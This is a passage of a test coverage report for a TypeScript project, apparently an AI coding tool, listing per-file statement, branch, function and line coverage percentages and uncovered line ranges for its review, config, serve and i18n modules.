 ...les/mcp-server |       0 |        0 |       0 |       0 |                   
  example.ts       |       0 |        0 |       0 |       0 | 1-60              
 ...amples/starter |       0 |        0 |       0 |       0 |                   
  example.ts       |       0 |        0 |       0 |       0 | 1-64              
 src/commands/mcp  |   91.19 |    88.76 |   85.71 |   91.19 |                   
  add.ts           |    99.3 |    96.07 |     100 |    99.3 | 154-155           
  approve.ts       |   76.19 |     87.5 |   66.66 |   76.19 | ...,89-99,114-124 
  list.ts          |    92.9 |    84.84 |      80 |    92.9 | ...79-181,199-200 
  reconnect.ts     |   85.54 |    86.76 |    90.9 |   85.54 | 45-58,337-359     
  remove.ts        |     100 |       80 |     100 |     100 | 21-25             
 ...ommands/review |   91.92 |    90.44 |   93.72 |   91.92 |                   
  ab-drive.ts      |   85.22 |    90.47 |   94.11 |   85.22 | ...50-926,969-972 
  agent-prompt.ts  |   94.89 |    93.01 |   97.95 |   94.89 | ...3296,3631-3711 
  base-tree.ts     |   77.02 |    80.76 |   77.77 |   77.02 | ...63-384,386-399 
  capture-local.ts |   94.72 |    97.61 |   94.11 |   94.72 | 271,1336-1374     
  ...k-coverage.ts |   50.71 |       35 |   66.66 |   50.71 | ...40-245,279-289 
  cleanup.ts       |   92.34 |     89.5 |    90.9 |   92.34 | ...1107,1109-1110 
  comment-body.ts  |   67.85 |    87.09 |   66.66 |   67.85 | ...30,157,159-164 
  ...ent-status.ts |   94.22 |    87.32 |    90.9 |   94.22 | ...96,462,738-758 
  ...ose-review.ts |   97.37 |    94.02 |   98.73 |   97.37 | ...6486-6530,6790 
  cost-ledger.ts   |   94.58 |     94.4 |   81.25 |   94.58 | ...53-654,694-704 
  drive.ts         |   97.12 |    89.85 |     100 |   97.12 | ...83-985,990-992 
  emit-workflow.ts |   90.57 |     93.1 |   83.33 |   90.57 | 154,176,285-295   
  extract-step.ts  |   91.36 |    90.62 |   88.88 |   91.36 | ...90-707,714-729 
  fetch-diff.ts    |   73.75 |      100 |   66.66 |   73.75 | 77-97             
  fetch-pr.ts      |   97.29 |    92.25 |     100 |   97.29 | ...1566,1724-1729 
  findings.ts      |    96.3 |    93.68 |     100 |    96.3 | ...1418,1427-1428 
  issue-context.ts |   88.15 |     93.1 |   85.71 |   88.15 | 249-276           
  load-rules.ts    |   26.41 |      100 |   16.66 |   26.41 | ...41-153,155-156 
  match-remote.ts  |   85.55 |     92.3 |   66.66 |   85.55 | 74-79,144-150     
  meta.ts          |   79.43 |    93.75 |   66.66 |   79.43 | 123-128,147-162   
  mock-provider.ts |   95.44 |    90.25 |   89.47 |   95.44 | 145,690-709       
  parse-args.ts    |   99.48 |    95.74 |     100 |   99.48 | 665,990,1046,1082 
  plan-diff.ts     |   71.42 |      100 |   66.66 |   71.42 | 162-197           
  pr-context.ts    |   96.22 |    88.86 |     100 |   96.22 | ...2580,2681-2697 
  presubmit.ts     |   94.32 |    90.83 |   94.11 |   94.32 | ...1219,1254-1285 
  ...ish-assets.ts |    81.3 |    82.22 |   85.71 |    81.3 | ...75-479,506-552 
  ...r-findings.ts |   90.74 |    83.75 |     100 |   90.74 | ...17-422,429-430 
  repo-context.ts  |   94.62 |    90.75 |     100 |   94.62 | ...66-467,482-487 
  ...ve-anchors.ts |   78.34 |    89.28 |      75 |   78.34 | ...83-188,200-217 
  revert-hunk.ts   |   91.48 |    87.94 |     100 |   91.48 | ...1189,1236-1239 
  run.ts           |   84.47 |    87.58 |   95.45 |   84.47 | ...00,816-870,884 
  save-artifact.ts |    94.2 |    92.46 |   94.11 |    94.2 | ...14-617,710-713 
  scratch-tree.ts  |   95.93 |       86 |     100 |   95.93 | ...91-392,461-464 
  script-lint.ts   |   81.27 |    79.38 |   88.88 |   81.27 | ...69-783,785-807 
  submit.ts        |   94.21 |       89 |   94.44 |   94.21 | ...1710,1738-1775 
  test-delta.ts    |   95.75 |     92.3 |      75 |   95.75 | 470-478           
  test-efficacy.ts |   84.03 |    80.48 |   96.07 |   84.03 | ...3249,3257-3277 
  test-plan.ts     |   94.61 |    91.79 |      95 |   94.61 | ...29-832,873-874 
  ...low-script.ts |     100 |      100 |     100 |     100 |                   
 ...w/__fixtures__ |     100 |      100 |     100 |     100 |                   
  ...r-default.mjs |     100 |      100 |     100 |     100 |                   
  ...der-empty.mjs |     100 |      100 |     100 |     100 |                   
  ...der-named.mjs |     100 |      100 |     100 |     100 |                   
 ...nds/review/lib |   97.33 |    94.73 |   98.69 |   97.33 |                   
  agent-briefs.ts  |   99.08 |      100 |      50 |   99.08 | 841-842           
  ...t-identity.ts |     100 |      100 |     100 |     100 |                   
  anchors.ts       |     100 |    97.04 |     100 |     100 | ...39,175,184,231 
  assets.ts        |     100 |      100 |     100 |     100 |                   
  audit-layers.ts  |   98.67 |    96.15 |     100 |   98.67 | 288-290           
  authorization.ts |    96.5 |    95.61 |     100 |    96.5 | ...54-255,629-630 
  budget.ts        |     100 |    97.95 |     100 |     100 | 887,940           
  build-budget.ts  |     100 |      100 |     100 |     100 |                   
  certification.ts |     100 |      100 |     100 |     100 |                   
  convergence.ts   |     100 |    97.94 |    92.3 |     100 | 52,515,620,716    
  coverage.ts      |   98.97 |    95.11 |     100 |   98.97 | ...1103,1648-1649 
  deadline.ts      |   98.03 |    91.66 |     100 |   98.03 | ...20,752,820,837 
  diff-flags.ts    |     100 |        0 |     100 |     100 | 75                
  diff-plan.ts     |   99.29 |    95.79 |     100 |   99.29 | 295-296,319       
  disk.ts          |     100 |      100 |     100 |     100 |                   
  effort.ts        |     100 |      100 |     100 |     100 |                   
  failing-files.ts |     100 |    93.33 |     100 |     100 | 41                
  gh.ts            |   89.53 |    95.52 |   78.94 |   89.53 | ...47,384-385,412 
  git.ts           |   96.92 |    94.11 |     100 |   96.92 | 264-265,302-303   
  heavy.ts         |     100 |      100 |     100 |     100 |                   
  import-graph.ts  |   96.68 |     95.6 |     100 |   96.68 | 180-182,211-212   
  ...ntal-scope.ts |     100 |      100 |     100 |     100 |                   
  inline-counts.ts |     100 |      100 |     100 |     100 |                   
  ...audit-gate.ts |     100 |     97.5 |     100 |     100 | 135               
  ledger.ts        |     100 |    99.45 |     100 |     100 | 828               
  local-anchor.ts  |   93.78 |    88.75 |     100 |   93.78 | ...61,594-595,745 
  local-diff.ts    |   86.77 |    94.28 |     100 |   86.77 | ...54-564,566-574 
  ...ry-context.ts |   96.61 |    95.48 |     100 |   96.61 | ...47-450,496-499 
  md-field.ts      |     100 |      100 |     100 |     100 |                   
  merge-base.ts    |     100 |      100 |     100 |     100 |                   
  narrow-diff.ts   |     100 |      100 |     100 |     100 |                   
  npm-toolchain.ts |   98.23 |    95.29 |     100 |   98.23 | ...,822,1203,1220 
  path-rules.ts    |     100 |      100 |     100 |     100 |                   
  paths.ts         |    95.6 |    88.67 |     100 |    95.6 | 40-41,168-173     
  prompt-record.ts |   98.03 |    94.23 |     100 |   98.03 | 293-294,300       
  receipt.ts       |     100 |      100 |     100 |     100 |                   
  remote-match.ts  |   98.03 |    94.73 |     100 |   98.03 | 109-110           
  report.ts        |   92.92 |    86.66 |     100 |   92.92 | 213-214,216-220   
  ...ry-context.ts |     100 |    98.66 |     100 |     100 | 187               
  resume.ts        |     100 |      100 |     100 |     100 |                   
  retirement.ts    |     100 |    94.36 |     100 |     100 | ...58-559,760,917 
  review-footer.ts |   99.55 |    98.09 |     100 |   99.55 | 548-549           
  ...w-settings.ts |     100 |    96.42 |     100 |     100 | 99                
  roster.ts        |     100 |    97.14 |     100 |     100 | 177,222           
  round-model.ts   |     100 |      100 |     100 |     100 |                   
  run-ledger.ts    |    98.2 |    93.87 |     100 |    98.2 | ...23,541,647,670 
  same-file.ts     |     100 |       95 |     100 |     100 | 36                
  ...boxed-exec.ts |   94.26 |    89.32 |   95.65 |   94.26 | ...49-550,728-729 
  shell-quote.ts   |     100 |      100 |     100 |     100 |                   
  stale-bundle.ts  |   98.18 |    94.38 |     100 |   98.18 | 431,472,512-513   
  test-utils.ts    |   99.04 |    91.66 |     100 |   99.04 | 75                
  toolchain.ts     |     100 |      100 |     100 |     100 |                   
  transcripts.ts   |   98.09 |    95.07 |     100 |   98.09 | ...92,438,707-708 
  ...pace-scope.ts |     100 |    96.96 |     100 |     100 | 186               
  workspaces.ts    |     100 |    96.85 |     100 |     100 | 222,452,499,512   
  ...ree-reader.ts |     100 |      100 |     100 |     100 |                   
  worktree.ts      |   89.39 |    81.78 |     100 |   89.39 | ...1813-1814,1827 
 ...w/lib/platform |   94.71 |    87.89 |   97.05 |   94.71 |                   
  aone-client.ts   |   94.94 |     87.3 |     100 |   94.94 | ...92-293,299-302 
  aone.ts          |   93.06 |    89.86 |   94.73 |   93.06 | ...34,598-603,655 
  github.ts        |   99.08 |     75.8 |     100 |   99.08 | 249-250           
  registry.ts      |     100 |      100 |     100 |     100 |                   
  types.ts         |     100 |      100 |     100 |     100 |                   
 ...mands/sessions |   94.11 |    89.06 |   89.47 |   94.11 |                   
  common.ts        |     100 |      100 |     100 |     100 |                   
  list.ts          |   90.96 |    86.66 |   81.81 |   90.96 | 208-219,221-222   
  ps.ts            |     100 |    94.44 |     100 |     100 | 58                
 src/config        |   94.34 |    90.47 |   95.29 |   94.34 |                   
  ...l-fallback.ts |     100 |      100 |     100 |     100 |                   
  auth.ts          |   93.36 |    88.37 |     100 |   93.36 | ...06-307,330-331 
  ...eMcpImport.ts |   87.91 |    81.52 |     100 |   87.91 | ...63-371,453-454 
  compile-cache.ts |     100 |      100 |     100 |     100 |                   
  config.ts        |   88.18 |    90.74 |   86.11 |   88.18 | ...2301,2303-2311 
  ...cy-monitor.ts |      90 |    77.27 |     100 |      90 | ...72-73,90-92,98 
  ...ust-policy.ts |   83.02 |    88.88 |     100 |   83.02 | ...02-209,232-240 
  ...heme-names.ts |     100 |      100 |     100 |     100 |                   
  ...ScopeUtils.ts |   97.56 |    88.88 |     100 |   97.56 | 67                
  environment.ts   |   94.51 |    92.55 |   95.23 |   94.51 | ...24-625,679-680 
  ...le-watcher.ts |   90.86 |    83.65 |   95.83 |   90.86 | ...23-325,370,418 
  ...resh-state.ts |   90.57 |    97.29 |   93.75 |   90.57 | 137-142,146-152   
  ...ime-reload.ts |     100 |    69.69 |     100 |     100 | ...12-113,122-123 
  hot-reload.ts    |     100 |    89.13 |     100 |     100 | 47,172-178,238    
  keyBindings.ts   |    97.4 |       50 |     100 |    97.4 | 240-243           
  ...ngsAdapter.ts |     100 |    94.11 |     100 |     100 | 64                
  ...ig-watcher.ts |   95.17 |    83.05 |     100 |   95.17 | ...78,200,292-293 
  ...er-secrets.ts |   98.97 |    96.87 |     100 |   98.97 | 85                
  mcpApprovals.ts  |   78.57 |       92 |   86.66 |   78.57 | ...18-319,324-326 
  mcpJson.ts       |     100 |      100 |     100 |     100 |                   
  mcpServers.ts    |   92.85 |     87.5 |     100 |   92.85 | 46-47             
  ...idersScope.ts |      95 |    94.73 |     100 |      95 | 11-12             
  ...abledTools.ts |     100 |      100 |     100 |     100 |                   
  ...comparison.ts |     100 |      100 |     100 |     100 |                   
  ...n-settings.ts |   99.15 |    93.93 |     100 |   99.15 | 63                
  sandboxConfig.ts |   93.33 |    93.33 |     100 |   93.33 | ...42-147,216-217 
  session-id.ts    |     100 |      100 |     100 |     100 |                   
  ...ings-cache.ts |   96.52 |    93.93 |     100 |   96.52 | 90-91,201-202     
  settings.ts      |   91.16 |    93.02 |      90 |   91.16 | ...1037,1039-1040 
  ...ingsSchema.ts |     100 |      100 |     100 |     100 |                   
  settingsUtils.ts |   80.92 |     89.2 |   85.18 |   80.92 | ...87-605,612-620 
  ...ngsWatcher.ts |   95.54 |    88.34 |     100 |   95.54 | ...28,277-278,293 
  ...d-env-keys.ts |     100 |      100 |     100 |     100 |                   
  ...l-settings.ts |     100 |      100 |     100 |     100 |                   
  ...paths-lite.ts |   89.47 |       88 |     100 |   89.47 | 43-44,53-54,56-57 
  ...el-options.ts |     100 |      100 |     100 |     100 |                   
  ...precedence.ts |   98.79 |     92.3 |     100 |   98.79 | 62                
  ...tedFolders.ts |   92.53 |    93.54 |     100 |   92.53 | ...36-337,373-384 
 ...nfig/migration |   95.23 |    78.94 |   85.71 |   95.23 |                   
  index.ts         |   95.65 |     87.5 |     100 |   95.65 | 117-118           
  scheduler.ts     |   96.55 |       80 |     100 |   96.55 | 19-20             
  types.ts         |       0 |        0 |       0 |       0 | 1                 
 ...ation/versions |   94.91 |      100 |     100 |   94.91 |                   
  ...-v2-shared.ts |     100 |      100 |     100 |     100 |                   
  v1-to-v2.ts      |   81.75 |      100 |     100 |   81.75 | ...28-229,231-247 
  v2-to-v3.ts      |     100 |      100 |     100 |     100 |                   
  v3-to-v4.ts      |     100 |      100 |     100 |     100 |                   
  v5-to-v4.ts      |      96 |      100 |     100 |      96 | 94-95,99          
 src/core          |     100 |      100 |     100 |     100 |                   
  auth.ts          |     100 |      100 |     100 |     100 |                   
  initializer.ts   |     100 |      100 |     100 |     100 |                   
  theme.ts         |     100 |      100 |     100 |     100 |                   
 src/dualOutput    |   75.08 |    67.64 |   71.42 |   75.08 |                   
  ...tputBridge.ts |   75.33 |    68.18 |   73.68 |   75.33 | ...09-410,418-421 
  ...utContext.tsx |     100 |      100 |     100 |     100 |                   
  index.ts         |       0 |        0 |       0 |       0 | 1-8               
 src/export        |       0 |        0 |       0 |       0 |                   
  index.ts         |       0 |        0 |       0 |       0 | 1-7               
 src/generated     |     100 |      100 |     100 |     100 |                   
  git-commit.ts    |     100 |      100 |     100 |     100 |                   
 src/hooks         |     100 |      100 |     100 |     100 |                   
  ...elete-hook.ts |     100 |      100 |     100 |     100 |                   
 src/i18n          |   89.68 |    88.66 |   93.02 |   89.68 |                   
  index.ts         |   73.45 |    77.77 |      90 |   73.45 | ...70-271,294-299 
  languageUtils.ts |   98.88 |    97.01 |     100 |   98.88 | 184-185           
  languages.ts     |   93.07 |     92.3 |   85.71 |   93.07 | ...35,164-169,184 
  ...nslateKeys.ts |     100 |      100 |     100 |     100 |                   
  ...lationDict.ts |   93.33 |    66.66 |     100 |   93.33 | 15                
 src/i18n/locales  |     100 |      100 |     100 |     100 |                   
  ca.js            |     100 |      100 |     100 |     100 |                   
  de.js            |     100 |      100 |     100 |     100 |                   
  en.js            |     100 |      100 |     100 |     100 |                   
  fr.js            |     100 |      100 |     100 |     100 |                   
  ja.js            |     100 |      100 |     100 |     100 |                   
  pt.js            |     100 |      100 |     100 |     100 |                   
  ru.js            |     100 |      100 |     100 |     100 |                   
  zh-TW.js         |     100 |      100 |     100 |     100 |                   
  zh.js            |     100 |      100 |     100 |     100 |                   
 ...nonInteractive |   87.37 |    83.73 |   89.32 |   87.37 |                   
  ...ng-failure.ts |     100 |      100 |     100 |     100 |                   
  ...iveHelpers.ts |   94.95 |    91.05 |     100 |   94.95 | ...30-431,529,542 
  ...uggestions.ts |   84.29 |    70.83 |     100 |   84.29 | 70-76,92-103      
  session.ts       |   84.97 |    76.31 |   96.07 |   84.97 | ...1048,1057-1067 
  ...iagnostics.ts |    95.8 |     87.5 |   93.75 |    95.8 | ...03,277-278,289 
  types.ts         |    42.5 |      100 |   33.33 |    42.5 | ...33-634,637-638 
 ...active/control |   75.54 |    89.83 |      80 |   75.54 |                   
  ...rolContext.ts |    6.06 |        0 |       0 |    6.06 | 57-99             
  ...Dispatcher.ts |   91.95 |    92.98 |   88.88 |   91.95 | ...54-372,392,395 
  ...rolService.ts |    6.89 |        0 |       0 |    6.89 | 46-188            
 ...ol/controllers |   57.57 |    66.48 |   73.68 |   57.57 |                   
  ...Controller.ts |    42.4 |      100 |   83.33 |    42.4 | 101-105,140-223   
  ...Controller.ts |       0 |        0 |       0 |       0 | 1-56              
  ...Controller.ts |   70.23 |    63.33 |   91.66 |   70.23 | ...19-628,643-648 
  ...Controller.ts |   49.23 |       60 |      50 |   49.23 | ...07-108,111-121 
  ...Controller.ts |   53.96 |    67.08 |   66.66 |   53.96 | ...78-690,699-728 
 .../control/types |       0 |        0 |       0 |       0 |                   
  serviceAPIs.ts   |       0 |        0 |       0 |       0 | 1                 
 ...Interactive/io |   98.18 |    94.11 |   95.34 |   98.18 |                   
  ...putAdapter.ts |   98.07 |    93.21 |   98.11 |   98.07 | ...1448,1464-1465 
  ...putAdapter.ts |   96.22 |    91.66 |   85.71 |   96.22 | 52-53             
  ...nputReader.ts |     100 |    94.73 |     100 |     100 | 67                
  ...putAdapter.ts |   98.51 |      100 |   90.47 |   98.51 | 90-91,131-132     
  ...projection.ts |     100 |      100 |     100 |     100 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
 src/patches       |       0 |        0 |       0 |       0 |                   
  is-in-ci.ts      |       0 |        0 |       0 |       0 | 1-17              
 src/peerMessaging |   90.64 |    85.29 |      96 |   90.64 |                   
  ...ngContext.tsx |     100 |      100 |     100 |     100 |                   
  ...-messaging.ts |   90.45 |    85.07 |   95.83 |   90.45 | ...01-306,347-352 
 src/remoteInput   |   87.31 |    75.32 |   88.23 |   87.31 |                   
  ...utContext.tsx |     100 |      100 |     100 |     100 |                   
  ...putWatcher.ts |   88.01 |       76 |   93.33 |   88.01 | ...49-350,361-364 
  index.ts         |       0 |        0 |       0 |       0 | 1-8               
 src/runtime       |    99.7 |    96.32 |     100 |    99.7 |                   
  ...livery-ipc.ts |     100 |    91.17 |     100 |     100 | 94,106,134        
  ...l-delivery.ts |     100 |      100 |     100 |     100 |                   
  cpu-percent.ts   |     100 |      100 |     100 |     100 |                   
  ...ion-source.ts |     100 |      100 |     100 |     100 |                   
  ...erver-name.ts |     100 |      100 |     100 |     100 |                   
  ...-constants.ts |     100 |      100 |     100 |     100 |                   
  ...-summaries.ts |   86.66 |       50 |     100 |   86.66 | 11,19             
  ...ber-errors.ts |     100 |    95.32 |     100 |     100 | 53,93-94,172,192  
  ...ls-mapping.ts |     100 |      100 |     100 |     100 |                   
 src/serve         |   87.44 |    85.06 |   90.72 |   87.44 |                   
  ...extra-args.ts |     100 |      100 |     100 |     100 |                   
  ...tp-enabled.ts |     100 |      100 |     100 |     100 |                   
  ...ion-bridge.ts |     100 |      100 |     100 |     100 |                   
  auth.ts          |   93.99 |     91.5 |     100 |   93.99 | ...29-430,433-435 
  ...em-adapter.ts |     100 |      100 |     100 |     100 |                   
  capabilities.ts  |     100 |    98.21 |     100 |     100 | 727               
  ...cp-command.ts |     100 |      100 |     100 |     100 |                   
  ...horization.ts |   92.79 |    93.54 |    87.5 |   92.79 | 75-80,135-136     
  ...op-mcp-ipc.ts |   81.06 |    73.68 |   94.11 |   81.06 | ...37-242,267,289 
  ...nt-service.ts |    94.1 |    86.98 |     100 |    94.1 | ...75-477,484,486 
  ...-selection.ts |     100 |      100 |     100 |     100 |                   
  ...ings-store.ts |   89.61 |    94.37 |   96.55 |   89.61 | ...64-276,528-531 
  ...ebhook-ipc.ts |    98.5 |     87.5 |     100 |    98.5 | 47                
  ...iagnostics.ts |     100 |      100 |     100 |     100 |                   
  ...worker-env.ts |     100 |      100 |     100 |     100 |                   
  ...rker-group.ts |   87.32 |    85.33 |     100 |   87.32 | ...14,820-824,842 
  ...er-manager.ts |   89.39 |    83.88 |   93.33 |   89.39 | ...98,711,722-724 
  ...horization.ts |     100 |      100 |     100 |     100 |                   
  ...tartup-ipc.ts |   97.72 |    96.66 |     100 |   97.72 | 88-89             
  ...supervisor.ts |   93.24 |    85.42 |    97.4 |   93.24 | ...1765,1819-1823 
  ...e-grouping.ts |     100 |    94.28 |     100 |     100 | 71,137            
  core-runtime.ts  |     100 |      100 |     100 |     100 |                   
  ...ub-session.ts |   90.75 |    80.47 |   94.73 |   90.75 | ...1091,1112-1117 
  ...tree-guard.ts |   93.87 |    89.81 |     100 |   93.87 | ...3227,3297-3301 
  daemon-logger.ts |   82.82 |    78.68 |   92.04 |   82.82 | ...1775,1802-1808 
  ...y-pressure.ts |     100 |    96.96 |     100 |     100 | 135               
  ...trics-ring.ts |     100 |      100 |     100 |     100 |                   
  ...s-provider.ts |   68.04 |    52.77 |     100 |   68.04 | ...44-249,282-290 
  daemon-status.ts |   98.69 |    91.96 |     100 |   98.69 | ...1590,1592-1593 
  debug-mode.ts    |     100 |      100 |     100 |     100 |                   
  env-snapshot.ts  |   93.37 |    85.18 |     100 |   93.37 | 114-117,195-202   
  ...-scheduler.ts |   87.34 |    83.87 |     100 |   87.34 | 33-36,48-50,79-81 
  ...d-provider.ts |   92.06 |    87.09 |     100 |   92.06 | ...72,287-293,316 
  ...h-settings.ts |   94.94 |    90.45 |     100 |   94.94 | ...30,708,724,734 
  fast-path.ts     |   91.38 |       82 |   95.45 |   91.38 | ...46-555,633-634 
  ...ration-sse.ts |   42.55 |    33.33 |     100 |   42.55 | 23-24,30,33-56    
  health-query.ts  |     100 |      100 |     100 |     100 |                   
  index.ts         |       0 |        0 |       0 |       0 | 1-149             
  ...e-observer.ts |   89.89 |    83.24 |      96 |   89.89 | ...11-512,541-543 
  ...-addresses.ts |     100 |     91.3 |     100 |     100 | 52,72             
  ...back-binds.ts |     100 |    88.88 |     100 |     100 | 32                
  ...-workspace.ts |   91.58 |    86.48 |     100 |   91.58 | ...44-145,156-157 
  ...pp-sandbox.ts |   96.72 |    95.23 |     100 |   96.72 | 41-42             
  ...iders-edit.ts |     100 |    82.14 |     100 |     100 | 58-60,65,81       
  ...ory-picker.ts |    90.9 |    91.66 |      75 |    90.9 | 32,55-64          
  ...-with-auth.ts |     100 |      100 |     100 |     100 |                   
  ...ate-blocks.ts |   99.03 |    94.73 |     100 |   99.03 | 133               
  ...sion-audit.ts |     100 |      100 |   93.33 |     100 |                   
  ...nal-ledger.ts |    94.9 |    84.78 |     100 |    94.9 | ...81,302,361-362 
  rate-limit.ts    |   92.68 |    88.29 |     100 |   92.68 | ...89-291,303-305 
  ...qwen-serve.ts |   84.79 |    81.69 |   77.13 |   84.79 | ...9250,9268-9272 
  ...tup-errors.ts |     100 |      100 |     100 |     100 |                   
  sandbox.ts       |   45.52 |    59.42 |   76.92 |   45.52 | ...1050,1062-1085 
  ...-keepalive.ts |   94.31 |    88.18 |     100 |   94.31 | ...37,541-542,581 
  ...-lifecycle.ts |     100 |      100 |     100 |     100 |                   
  ...-lifecycle.ts |   89.16 |    90.29 |   86.95 |   89.16 | ...24-325,330-334 
  serve-token.ts   |     100 |      100 |     100 |     100 |                   
  server.ts        |   89.09 |    91.05 |   70.31 |   89.09 | ...3175,3206-3207 
  ...-admission.ts |   99.13 |    95.94 |     100 |   99.13 | 308-309           
  ...on-helpers.ts |     100 |      100 |     100 |     100 |                   
  ...-redaction.ts |     100 |      100 |     100 |     100 |                   
  ...t-event-id.ts |     100 |    95.23 |     100 |     100 | 12                
  ...-admission.ts |   98.71 |    89.65 |     100 |   98.71 | 68                
  types.ts         |     100 |      100 |     100 |     100 |                   
  ...ion-limits.ts |     100 |      100 |     100 |     100 |                   
  ...t-sessions.ts |   93.72 |    77.93 |     100 |   93.72 | ...51,854,867-869 
  ...l-resolver.ts |   90.32 |    66.66 |     100 |   90.32 | 16,45-46          
  ...ell-static.ts |   93.45 |    86.88 |     100 |   93.45 | ...77-280,323-326 
  ...ace-agents.ts |   66.13 |    70.57 |   92.68 |   66.13 | ...2246,2256-2266 
  ...generation.ts |    95.4 |    82.35 |   66.66 |    95.4 | 55-56,78,92       
  ...-git-state.ts |     100 |    91.93 |    90.9 |     100 | 161,172,202,265   
  ...ace-inputs.ts |     100 |      100 |     100 |     100 |                   
  ...ace-memory.ts |      83 |    74.54 |     100 |      83 | ...30-537,597-604 
  ...ers-status.ts |   98.63 |       80 |     100 |   98.63 | 108,136,186,189   
  ...tion-store.ts |   89.67 |    88.27 |   92.59 |   89.67 | ...91-400,411-414 
  ...e-registry.ts |   94.09 |    90.57 |     100 |   94.09 | ...90-591,598-599 
  ...e-remember.ts |   98.23 |    92.56 |     100 |   98.23 | ...36,340-345,386 
  ...te-runtime.ts |   89.88 |     90.9 |     100 |   89.88 | ...05-206,274-295 
  ...me-storage.ts |     100 |      100 |     100 |     100 |                   
  ...visibility.ts |     100 |      100 |     100 |     100 |                   
  ...management.ts |   72.63 |    72.83 |   96.15 |   72.63 | ...88-889,896-900 
  ...lls-status.ts |     100 |    95.45 |     100 |     100 | 152               
  ...reconciler.ts |   91.63 |    84.09 |     100 |   91.63 | ...71-273,306-307 
 ...serve/acp-http |    80.4 |    80.03 |   94.53 |    80.4 |                   
  ...r-registry.ts |   96.92 |    94.87 |     100 |   96.92 | 184-187           
  client-mcp-ws.ts |   54.85 |    58.62 |   72.72 |   54.85 | ...99-300,304-305 
  ...n-registry.ts |   93.03 |    84.13 |   98.52 |   93.03 | ...1624,1671-1682 
  dispatch.ts      |   75.71 |    76.82 |   93.44 |   75.71 | ...5649,5706-5712 
  index.ts         |   82.81 |    79.92 |   91.22 |   82.81 | ...2434,2520-2521 
  json-rpc.ts      |     100 |    96.96 |     100 |     100 | 92                
  ...ach-budget.ts |     100 |      100 |     100 |     100 |                   
  safe-ws-send.ts  |   52.94 |    71.42 |     100 |   52.94 | 33-42,47-55       
  sse-stream.ts    |   98.26 |    88.75 |     100 |   98.26 | 87-88,117         
  ...ort-stream.ts |       0 |        0 |       0 |       0 | 1                 
  ws-stream.ts     |   94.06 |    89.09 |     100 |   94.06 | 50,55,134,138-141 
 src/serve/auth    |   86.86 |     79.7 |   93.87 |   86.86 |                   
  device-flow.ts   |   96.35 |    80.57 |   97.61 |   96.35 | ...1358,1453,1519 
  ...w-provider.ts |   44.24 |    74.07 |   71.42 |   44.24 | ...23-284,297,301 
 ...rve/cdp-tunnel |   87.73 |    76.21 |    97.5 |   87.73 |                   
  ...r-emulator.ts |   93.27 |    77.77 |     100 |   93.27 | ...53-256,282-283 
  ...verse-link.ts |      88 |    76.19 |     100 |      88 | ...28-329,420-423 
  ...l-registry.ts |     100 |      100 |     100 |     100 |                   
  cdp-ws.ts        |   76.28 |    61.29 |    87.5 |   76.28 | ...13-217,223-228 
 ...nel/acceptance |    6.12 |    57.89 |   46.15 |    6.12 |                   
  ...helpers.d.mts |       0 |        0 |       0 |       0 | 1                 
  ...e-helpers.mjs |   97.64 |    70.96 |     100 |   97.64 | 22-23             
  ...mcp-smoke.mjs |       0 |        0 |       0 |       0 | 1-124             
  ...cceptance.mjs |       0 |        0 |       0 |       0 | 1-473             
  ...re-server.mjs |       0 |        0 |       0 |       0 | 1-59              
  ...ols-smoke.mjs |       0 |        0 |       0 |       0 | 1-268             
  real-tab.mjs     |       0 |        0 |       0 |       0 | 1-218             
  ...al-chrome.mjs |       0 |        0 |       0 |       0 | 1-223             
 .../conversations |   86.32 |    78.75 |   93.33 |   86.32 |                   
  ...e-activity.ts |     100 |      100 |     100 |     100 |                   
  ...ime-errors.ts |     100 |      100 |     100 |     100 |                   
  ...me-manager.ts |   97.88 |    94.91 |     100 |   97.88 | 64-65,92          
  ...-ownership.ts |   87.33 |    83.75 |   88.46 |   87.33 | ...57-558,601-602 
  ...-workspace.ts |   89.21 |    76.37 |     100 |   89.21 | ...52-554,568-572 
  ...on-journal.ts |   91.69 |    80.86 |     100 |   91.69 | ...46-747,753-755 
  ...on-service.ts |   83.22 |    75.11 |   89.01 |   83.22 | ...3014,3023-3025 
 src/serve/fs      |   87.77 |    82.34 |     100 |   87.77 |                   
  audit.ts         |     100 |    96.29 |     100 |     100 | 211               
  errors.ts        |     100 |      100 |     100 |     100 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...x-registry.ts |     100 |      100 |     100 |     100 |                   
  paths.ts         |   77.64 |    74.01 |     100 |   77.64 | ...65,594-598,611 
  policy.ts        |   90.52 |    89.18 |     100 |   90.52 | 172-180           
  text-cursor.ts   |   88.23 |       90 |     100 |   88.23 | 74-77,92-95       
  ...ile-system.ts |   88.02 |    81.85 |     100 |   88.02 | ...3027,3037-3038 
 src/serve/live    |    76.6 |    70.54 |    90.2 |    76.6 |                   
  discovery.ts     |   85.89 |    82.14 |    91.3 |   85.89 | ...73-579,592-593 
  ...oordinator.ts |   82.67 |    76.63 |   97.01 |   82.67 | ...1319,1351-1353 
  ...-installer.ts |    64.3 |    82.35 |   80.76 |    64.3 | ...45-446,460-472 
  ...oordinator.ts |    76.7 |    67.47 |   85.71 |    76.7 | ...1885,1976-1977 
  ...controller.ts |   67.82 |    79.66 |      75 |   67.82 | ...66-278,287-295 
  ...sk-service.ts |   82.71 |    66.15 |   93.61 |   82.71 | ...1270,1283,1290 
  ...redentials.ts |   96.26 |    93.47 |     100 |   96.26 | 91-94             
  ...me-session.ts |   65.63 |    57.24 |   88.88 |   65.63 | ...2270,2275-2282 
  ...up-context.ts |   94.85 |    77.39 |     100 |   94.85 | ...18,327-330,350 
  types.ts         |     100 |      100 |     100 |     100 |                   
 .../local-control |   82.89 |    88.77 |      90 |   82.89 |                   
  credentials.ts   |   96.42 |    95.45 |     100 |   96.42 | 109-110           
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...interfaces.ts |   43.58 |    82.75 |   42.85 |   43.58 | ...09-117,130-142 
  ...r-identity.ts |     100 |    85.71 |     100 |     100 | 61                
  service.ts       |    93.4 |       90 |     100 |    93.4 | ...20-222,313-315 
 src/serve/routes  |   86.45 |    81.77 |   95.75 |   86.45 |                   
  a2ui-action.ts   |   96.84 |     88.5 |    87.5 |   96.84 | ...70-272,309-311 
  capabilities.ts  |   98.73 |    96.15 |     100 |   98.73 | 82                
  ...nel-notify.ts |   79.16 |    85.18 |     100 |   79.16 | ...03-104,120-126 
  ...l-webhooks.ts |   93.56 |    84.09 |     100 |   93.56 | ...42,292,332,334 
  daemon-status.ts |   85.71 |    83.33 |     100 |   85.71 | 101-108           
  goals.ts         |   98.94 |    91.17 |     100 |   98.94 | 143               
